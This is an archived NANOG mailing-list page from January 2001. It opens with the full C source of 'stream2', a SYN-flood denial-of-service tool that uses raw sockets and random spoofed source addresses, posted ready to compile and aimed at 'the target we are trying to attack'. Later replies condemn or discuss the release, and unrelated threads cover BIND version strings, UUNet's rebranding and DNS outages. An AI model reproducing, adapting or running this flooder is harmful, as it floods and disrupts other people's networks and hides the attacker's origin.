- NANOG - lists.nanog.org

Stream2
by Jason Legate 31 Jan '01

31 Jan '01

This is thrown together partially from the original sources of stream, and partially from my own ramblings, it was a quick and dirty hack, so there are parts of it that are messy. For testing purposes on a lan, if you want to verify packet headers, and not send as fast as it can, you can define SLOW. This version has the fixed tcp cksum, and a MSS window of compile-time definable size. --- stream2.c --- #include <stdio.h> #include <time.h> #include <stdlib.h> #include <unistd.h> #include <strings.h> #include <sys/time.h> #include <sys/param.h> #include <sys/types.h> #include <sys/socket.h> #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #include <netinet/in_systm.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <netdb.h> /* * QUIET controls whether to print out errors (can be very noisy, if this is * undef'd, when buffers are full) * * SLOW adds a nanosleep (rounded to nearest clock tick), for pacing stream * - NOTE: This really slows it down * * TCPFLAGS sets what kind of tcp packets to generate * * _TCP_MSS sets the MSS value (1460 recommended) unless the OS includes have * a value already set */ #define QUIET #undef SLOW #define TCP_FLAGS TH_SYN #ifndef _TCP_MSS #define _TCP_MSS 1460 #endif struct ip_hdr { u_char ip_hl:4, ip_v:4; u_char ip_tos; u_short ip_len; u_short ip_id; u_short ip_off; u_char ip_ttl; u_char ip_p; u_short ip_sum; u_long saddr; u_long daddr; }; struct tcp_hdr { u_short th_sport; u_short th_dport; u_long th_seq; u_long th_ack; u_char th_x2:4, th_off:4; u_char th_flags; u_short th_win; u_short th_sum; u_short th_urp; u_char th_option; u_char th_oplen; u_short th_mss; }; struct pseudo_hdr { u_long saddr; u_long daddr; u_char mbz; u_char ptcl; u_short tcpl; }; struct packet { struct ip_hdr ip; struct tcp_hdr tcp; }; struct packet packet; struct pseudo_hdr pseudo; struct sockaddr_in s_in; u_long dstaddr; int sock; void usage(char *progname) { fprintf(stderr, "Usage: %s <dstaddr>\n", progname); fprintf(stderr, " dstaddr - the target we are trying to attack.\n"); exit(1); } inline u_short ip_cksum(u_short *ipH, u_short len) { u_short answer; u_long sum = 0; int i; len >>= 1; for(i=0;i<len;i++) sum += (*ipH++); sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return(~sum & 0xffff); } inline u_short tcp_cksum(u_short *ipH, u_short IPlen, u_short *tcpH, u_short TCPlen) { u_short answer; u_long sum = 0; int i; IPlen >>= 1; TCPlen >>= 1; for(i=0;i<IPlen;i++) { sum += htons(*ipH++); } for(i=0;i<TCPlen;i++) { sum += htons(*tcpH++); } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return(~sum & 0xffff); } u_long lookup(char *hostname) { struct hostent *hp; if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Could not resolve %s.\n", hostname); exit(1); } return *(u_long *)hp->h_addr; } void flooder(void) { int i; time_t start, end; #ifdef SLOW struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = 1; #endif memset(&packet, 0, sizeof(packet)); packet.ip.ip_hl = 5; packet.ip.ip_v = 4; pseudo.ptcl = packet.ip.ip_p = IPPROTO_TCP; packet.ip.ip_tos = 0x10; packet.ip.ip_id = rand(); packet.ip.ip_len = 0x2C; packet.ip.ip_off = 0x4000; packet.ip.ip_ttl = 64; pseudo.daddr = packet.ip.daddr \ = dstaddr; packet.tcp.th_flags = TCP_FLAGS; packet.tcp.th_win = htons(65535); packet.tcp.th_seq = (random() >> 16); packet.tcp.th_ack = htonl(0); packet.tcp.th_off = 6; /* 6 */ packet.tcp.th_urp = 0; packet.tcp.th_sport = htons(rand()); packet.tcp.th_dport = htons(rand()); packet.tcp.th_option = 0x02; packet.tcp.th_oplen = 0x04; packet.tcp.th_mss = htons(_TCP_MSS); pseudo.mbz = 0; s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = dstaddr; s_in.sin_port = packet.tcp.th_dport; pseudo.tcpl = htons(sizeof(packet.tcp)); srandom((time(NULL) ^ getpid()) + getppid()); for(i=0;;++i) { pseudo.saddr = packet.ip.saddr = random(); while((pseudo.saddr & 0x0A000000) || (pseudo.saddr & 0xACA00000) || (pseudo.saddr & 0xC0A80000) || (pseudo.saddr & 0x7F000000)) pseudo.saddr = packet.ip.saddr = random(); packet.ip.ip_id = rand(); packet.tcp.th_sport = rand(); packet.tcp.th_seq = random() >> 18; packet.tcp.th_dport = s_in.sin_port = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; packet.tcp.th_sum = ntohs(tcp_cksum((void *)&pseudo, sizeof(pseudo), (void *)&packet.tcp, sizeof(packet.tcp))); packet.ip.ip_sum = ip_cksum((void *)&packet.ip, sizeof(packet.ip)); #ifndef QUIET if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) perror("stream"); #else sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)); #endif #ifdef SLOW nanosleep(&ts, NULL); #endif } } int main(int argc, char *argv[]) { int on = 1; printf("stream.c v2.0 - TCP Packet Storm\n"); if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } setgid(getgid()); setuid(getuid()); if (argc < 2) usage(argv[0]); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt"); exit(1); } srand((time(NULL) ^ getpid()) + getppid()); printf("\nResolving IPs..."); fflush(stdout); dstaddr = lookup(argv[1]); printf("Sending..."); fflush(stdout); flooder(); return 0; }

7 6

Re: Not a good day now stuff from here is on BBC
by Sean Donelan 31 Jan '01

31 Jan '01

On Wed, 31 January 2001, "Henry R. Linneweh" wrote: > Major net security holes identified > http://news.bbc.co.uk/hi/english/sci/tech/newsid_1142000/1142572.stm While there are a number of reporters on this list, they seem to rarely take quotes from this list. I can think of only one publication which has. Most of the information in the BBC story was available from tradtional reporting sources such as press releases, press conferences and individual interviews. At most a few news stories indicated ISPs had some prior notice, but didn't indicate how they received that notice. Even though Paul gave us a heads up on Friday night, no traditional news source had any coverage of the issue until after the press release hit the wires on Monday.

1 0

RE: calling attention to servers
by Roeland Meyer 31 Jan '01

31 Jan '01

Grown-up version of Satan. found at http://www.wwdsi.com/saint/ I use it for security audits of clients. Telling the truth, as much as possible, avoids having to track so many lies. > -----Original Message----- > From: Paul Vixie [mailto:vixie@mfnx.net] > Sent: Wednesday, January 31, 2001 9:52 AM > NMAP-like tools will identify your server version to anyone > who wants to know. > > So you may as well just speak the truth in your VERSION.BIND > answers, so that > your own people won't have to use NMAP-like tools for > internal auditing. >

1 0

Re: calling attention to servers
by Paul Vixie 31 Jan '01

31 Jan '01

NMAP-like tools will identify your server version to anyone who wants to know. So you may as well just speak the truth in your VERSION.BIND answers, so that your own people won't have to use NMAP-like tools for internal auditing.

1 0

Uunet changing
by Hank Nussbacher 31 Jan '01

31 Jan '01

First Mike O'dell left earlier this month and now this: WorldCom to abandon UUNet brand http://www.totaltele.com/view.asp?ArticleID=36194&pub=tt&categoryid=627 I guess things are changing :-) -Hank

7 6

Re: Stream2
by Jason Legate 31 Jan '01

31 Jan '01

Perhaps if people read the source, and compared it with the original, they would notice that there are not many operational differences, aside from the fact that this goes through the extra step of setting MSS, and calculating the correct checksum. The fact that the _all_ the packet kids can use this, doesn't unleash a deadly new tool, merely a slightly modified one. There are no optimizations in this upon the original, nor are there any real benefits. It was merely written to produce a syn generator that created packets with correct checksums and MSS. The further comment you made regarding the url merely demonstrates your immaturity to deal with a situation when it arises. > Thank you for making available code that now _all_ the packet kids can > use. Releasing this doesn't prove any theories, expose something new, > or have any redeemable value whatsoever. The sound everyone hears is > a collective orgasm of 12-year-olds with linux machines everywhere.

2 1

Re: Stream2
by Steven M. Bellovin 31 Jan '01

31 Jan '01

In message <20010130220354.A43493(a)arpa.com>, jamie rishaw writes: > >you released something that's gonna be a pain in >engineers' asses all over the world? > Regardless of the merits of posting this, the earlier stream. has been out for a *long* time. I don't think the incremental damage from the new one is that great. --Steve Bellovin, http://www.research.att.com/~smb

2 1

beating about the bush (not)
by bmanning＠vacation.karoshi.com 31 Jan '01

31 Jan '01

I'm in favor of the following: Honesty. Publish what you have. If you must, lie. Publish an version that "blends" with the prevaling landscape if you must. Such behaviour is wrong and may lead to further probes since the reported version and the server behaviour don;t jibe. I'm never in favor of "boasts" or "taunts". That is tantamount to asking for further investigation. Blocking queries leads to a false sense of security. Someone will figure out what your running anyway. ------- > > Bill - just a quick question about your post today (pasted below). You're > hinting at what might be a more prudent thing to do, but I'm not getting the > hint. > > Would you rather deny the version.bind query, give an intriguing answer > (e.g. "bad-ass-bind"), an intentionally misleading answer (e.g. 4.8.1 or > 9.5.6), or what? > > ----

1 0

Re: Stream2
by Richard A. Steenbergen 31 Jan '01

31 Jan '01

On Tue, Jan 30, 2001 at 09:42:23PM -0500, Jason Legate wrote: > > This is thrown together partially from the original sources of stream, > and partially from my own ramblings, it was a quick and dirty hack, so > there are parts of it that are messy. For testing purposes on a lan, > if you want to verify packet headers, and not send as fast as it can, > you can define SLOW. > > This version has the fixed tcp cksum, and a MSS window of compile-time > definable size. Jason, you are a disgrace. You didn't learn after being fired from at least 2 companies that I know of for being a packet kiddie, you didn't learn when you released the first version of code you did not write and badly mangled with your idioticy, and you apparently still havn't learned today. In addition, you havn't learned how to code any better either. This accomplishes nothing except destruction of other peoples networks. It disappoints me that after sitting on this for over a year and a half, as soon as I FINALLY release it semi-publicly, you rear your ugly head and put out more crap to destroy networks. I can only hope that some victim of your stupidity decides to sue you for everything you are not worth. -- Richard A Steenbergen <ras(a)e-gerbil.net> http://www.e-gerbil.net/ras PGP Key ID: 0x138EA177 (67 29 D7 BC E8 18 3E DA B2 46 B3 D8 14 36 FE B6)

1 0

Month for DNS problems
by Sean Donelan 31 Jan '01

31 Jan '01

I don't know if they are related, but anytime you have folks working on working systems there is a chance for error. At least two large telco internet providers appear to have corrupted one or more of their DNS name servers today. E-mail to the affected providers resulted in no response in one case, and directions to use a different name in the other case. Information from third-parties indicates both were configuration errors. No word if this was because they were loading a new version of BIND or they just corrupted their data files conincedently.

1 0